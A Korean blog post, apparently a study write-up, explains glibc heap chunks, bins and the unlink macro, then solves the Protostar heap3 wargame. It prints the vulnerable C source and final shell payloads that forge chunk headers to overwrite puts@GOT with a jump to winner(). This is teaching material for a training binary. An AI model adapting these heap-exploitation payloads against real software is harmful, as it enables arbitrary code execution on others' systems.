반응형
UAF 처럼 DFB도 말 그대로 2번 Free해서 나타나는 취약점입니다.
간단한 예시
0x20만큼 메모리를 세 번 할당했습니다. 하지만 주소에서 볼 수 있듯이
0x30만큼 차이가 납니다.
요청한 사이즈보다 크게 할당되는 이유는 메모리가 할당될 때에 해당 메모리에 대한 사이즈 외에 추가적인 정보가 있기 때문입니다. 우선 chunk라는 용어가 나오는데 알아보도록 하죠. malloc()으로 동적메모리를 구성하는 것은 heap에 chunk라는 자료구조를 하나 선언하는 것과 같습니다. chunk라는 데이터는 유저가 얼마만큼의 메모리를 선언했는가의 size, 이전의 chunk가 어떻게 쓰이고 있는가, 실제 쓰여지는 메모리영역, 그리고 chunk리스트를 유지하기 위한 double linked list포인터들(fd, bk)을 포함합니다.
아래는 추가정보입니다.
1 2 3 4 5 6 7 8 9 10 11 12 | struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; | cs |
prev_size는 이전 chunk가 free되면 설정되는 값으로, 플래그를 제외한 이전 chunk의 크기 정보가 기록됩니다. 이 정보를 통해 이전 chunk의 위치를 쉽게 찾을 수 있습니다. size는 현재 chunk의 사이즈겠죠? chunk는 8바이트 단위로 정렬되는데, 이 떄 하위 3-bit는 플래그 용도로 쓰입니다.
할당된 청크의 모습:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
해제된 청크 : 해제된 청크는 circular doubly-linked lists에 저장됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */ #define PREV_INUSE 0x1 /* extract inuse bit of previous chunk */ #define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE) /* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */ #define IS_MMAPPED 0x2 /* check for mmap()'ed chunk */ #define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED) /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained from a non-main arena. This is only set immediately before handing the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ #define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0) | cs |
- PREV_INUSE : 이전 chunk가 사용중일 때 설정되는 플래그
- IS_MMAPED : mmap()함수로 할당된 chunk일 때 설정되는 플래그
- NON_MAIN_ARENA : 멀티쓰레드 환경에서 main 이 아닌 스레드에서 생성된 메모리 일 때 설정되는 플래그
Double Free Bug에서 unlink는 매우 핵심부분입니다.
1 2 3 4 5 6 7 | #define unlink(P, BK, FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; } | cs |
Heap을 할당하고 해제할 때, 메모리를 좀 더 효율적으로 사용하기 위해 bin이란느 구조를 사용하여 해제된 chunk list를 관리합니다. 이것을 bin구조라 합니다. free된 chunk의 필드 중 fd, bk를 이용하여 리스트를 연결하고 있습니다.
bin구조는 chunk의 크기에 따라 126개로 분리됩니다.
그 중 small bin은 512bytes 미만의 bin 구조를 관리합니다.
헤더를 포함하여 할당할 수 있는 최소 메모리 크기가 16바이트이기 때문에, 16바이트부터 8바이트 단위로 총 62개의 bin이 있고 같은 크기의 chunk끼리 리스트를 이루게 됩니다. large bin은 좀 더 크기가 큰 chunk를 다룹니다. small bin과는 크기가 같지 않더라도 같은 범위에 속하면 같은 리스트로 관리합니다. 그리고 여기서 조금 더 특별한 bin list는 bin 구조 중 첫 번째 bin인 unsorted chunk list입니다.
각 chunk들은 free가 됐다고 바로 해당 bin 리스트에 들어가는 것이 아니라 unsorted chunk list를 거치고, 메모리 할당시에는 unsorted chunk list를 제일 먼저 확ㅇ니하여 같은 크기의 free된 chunk가 있다면 해당 chunk를 재사용합니다.
그리고 그 과정에서 검색을 거친 chunk는 두 번의 기회 없이 원래 자신이 속해야하는 bin 리스트로 돌아가게 됩니다. small bin 중 72바이트 이하의 chunk를 fast bin이라고 불립니다.
bin에 대한 설명은
다시 unlink를 보시죠.
P를 free()할 때는 아래와 같은 모습으로 수행이 됩니다.
그리고 P에 대한 free()가 수행될 때 그 이전 chunk와 이후 chunk의 앞뒤를 가르키는 fd, bk 포인터가 P를 제외하면서 치환 되게됩니다. 쉽게 말해서 중간의 chunk가 제거됩니다.
문제가 발생하는 것은 바로 이곳이며, BK.fd와 FD.bk가 각각 치환될 때 어떤임이의 주소 영역에 덮어 써 질수 있다는 것입니다. 왜냐하면, Overflow에 의해 우리가 FD chunk의 자료구조에 대한 제어권을 가지고 있기 때문입니다.
이제 이것을 조작을 해봅시다.
Before free()
after free()
취약점을 이용하여 fd와 bk가 조작된 chunk인 P를 만들 수 있다면 unlink시 fd+12=bk, bk+8=fd로 원하는 주소에 원하는 값을 쓰는 것도 가능하다는 뜻입니다.
glib 2.3.2 이하의 버전에서만 가능합니다.
그 이상의 버전에서는 두 가지의 검증 루틴이 추가되었습니다.
(설명생략)
-----------------실습-----------------
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdio.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdlib.h> void winner() { printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); } int main(int argc, char *argv[]) { char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); strcpy(a, argv[1]); strcpy(b, argv[2]); strcpy(c, argv[3]); free(c); free(b); free(a); printf("dynamite failed?\n"); } | cs |
protostar heap3 코드입니다.
- 미리 짚고가기.
각 변수들의 구조는 | pre_size | chunk size | data | 의 형태로 이루어져 있습니다.
c코드에서 확인하면 32byte를 할당하였지만, chunk_size를 보면 \x29(41byte)가 할당되어 있는데, pre_size 와 P플래그(unlink시 활용) 때문에 pre_size(8) + P_flag(1) + 32 = 41byte가 되는거죠. pre_size는 이전 청크가 free되었을 때 그 chunk size를 나타냅니다.
그렇다면 pre_size는 이전 chunk_size - P_flag 가 되겠습니다.
실행 코드 ' r aaaaaaaa bbbbbbbb cccccccc '
free(c)를 수행하고 나서 메모리를 확인해보았습니다. 0x804c050따라가시면 cccc 4개의 데이터가 사라진 것을 볼 수 있습니다. 이 부분은 chunk가 free되면 data영역이 fd, bk의 영역으로 사용되어집니다.
위에서 보셨던 이 부분 기억나시죠?
우선 free(c) 상태에서 추가적인 설명을 하자면, c를 free한 후에 a와 b 상태를 보면 free되지 않았기 때문에 unlink가 발생하지 않습니다. 그래서 조작이 필요한 것이지요.
chunk가 현재 사용중이면 1, free된 상태면 0이 들어갑니다.
우선 계속 free(c) 다음을 진행해보겠습니다.
free(b)한 후 입니다. fd의 값은 c의 주소를 가리키고있습니다.
그렇다면 free(a)한다면 fd의 값은 b의 주소를 가리킬 것이라는 것을 예상할 수 있습니다.
이제 공격할 차례가 남았습니다.
P_flag의 값을 변경해줘야 DFB공격이 되겠죠?
strcpy(a, argv[1]) 을 오버플로우시켜 b의 P_flag 값과 pre_size값을 수정해줍시다.
size값을 -4로 바꾸어주면 마지막 비트값이 0이 되므로 unlink매크로가 발생하게 됩니다. unlink가 실행되면 fd가 가리키는 주소의 +12 지점에는 bk가 입력되고, bk가 가리키는 +8주소에는 fd가 입력됩니다. 이전 chunk의 위치를 조작하기 위해서는 pre_size를 수정해야 합니다. Heap에서 이전 chunk의 주소값은 &b - pre_size로 표현할 수 있습니다. pre_size값을 0xfffffffc(-4)로 변질시키면 &b+4byte가 됩니다.
chunk b는 해당 주소의 chunk를 자신의 이전 chunk로 간주합니다.
공격페이로드는 chunk fd위치에 puts GOT - 12를 입력하고 bk에는 &winner를 입력시키면 puts함수 실행할 때 winner함수의 주소가 있으므로 winner함수가 실행될 것입니다.
준비물은 끝났습니다.
`python -c 'print"a"*32+"\xfc\xff\xff\xff"*2'` `python -c 'print"a"*4+"\x10\xb1\x04\x08"+"\x64\x88\x04\x08"'` C
위와 아래의 코드는 같습니다. 보기 편하신걸로 ...
1 | `python -c 'print"a"*32+"\xfc\xff\xff\xff"*2'` `python -c 'print"a"*4+"\x10\xb1\x04\x08"+"\x64\x88\x04\x08"'` C | cs |
b의 pre_size, size를 -4로 변환시켰습니다. puts_GOT와 &winner가 그 뒤를 잇고있습니다.
size의 -4를 비트로 변환하면 마지막 부분이 0입니다. 이는 free됐다는 뜻으로 unlink 매크로가 발생하겠죠? 그리고 가짜 chunk의 시작주소는 &b+4이겠습니다.
두번째 인자에는 b의 첫 부분에 a 4개를 채우고 가짜 chunk의 시작주소 fd값과 bk값을 넣어줍니다. 하지만 아래와 같이 오류가 발생합니다.
여기서 bk+8 = fd, bk+8 영역이 data영역이라 쓰기권한이 없어서 오류가 발생한다고 합니다. 이러면 기계어 코드로 push + &winner + ret 를 추가시켜줘야 합니다.
push와 ret는
objdump -d heap3 | grep "ret" 와 objdump -d heap3 | grep "push" 로 찾을 수 있습니다.
\x68(push), \xc3(ret)
bk가 입력가능 한 공간으로 되어 오류가 발생하지 않게 됩니다.
최종 payload
`python -c 'print"a"*22 + "\x68\x64\x88\x04\x08\xc3"+"a"*4+"\xfc\xff\xff\xff"*2'` `python -c 'print"a"*4+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` C
첫 번째 인자가 들어가는 32byte내에 winner함수를 호출하는 코드를 삽입.
그 후에는 처음 페이로드와 같다.
때문에 &winner함수를 호출하는 것보다는 winner함수를 호출하는 기계어 코드가 실행되어 프로그램이 종료된다.
반응형
'[ ★ ]Study > PWNABLE' 카테고리의 다른 글
[Tip] /bin/sh 주소 찾기 (0) | 2018.11.06 |
---|---|
[Tip] pwntool 함수 offset/plt/got 주소 찾기(pwntools) (0) | 2018.11.06 |
Use After Free 취약점 (0) | 2017.09.16 |
system call table 정리 (0) | 2017.09.16 |
shellcode 만들기 2부 (0) | 2017.09.16 |
댓글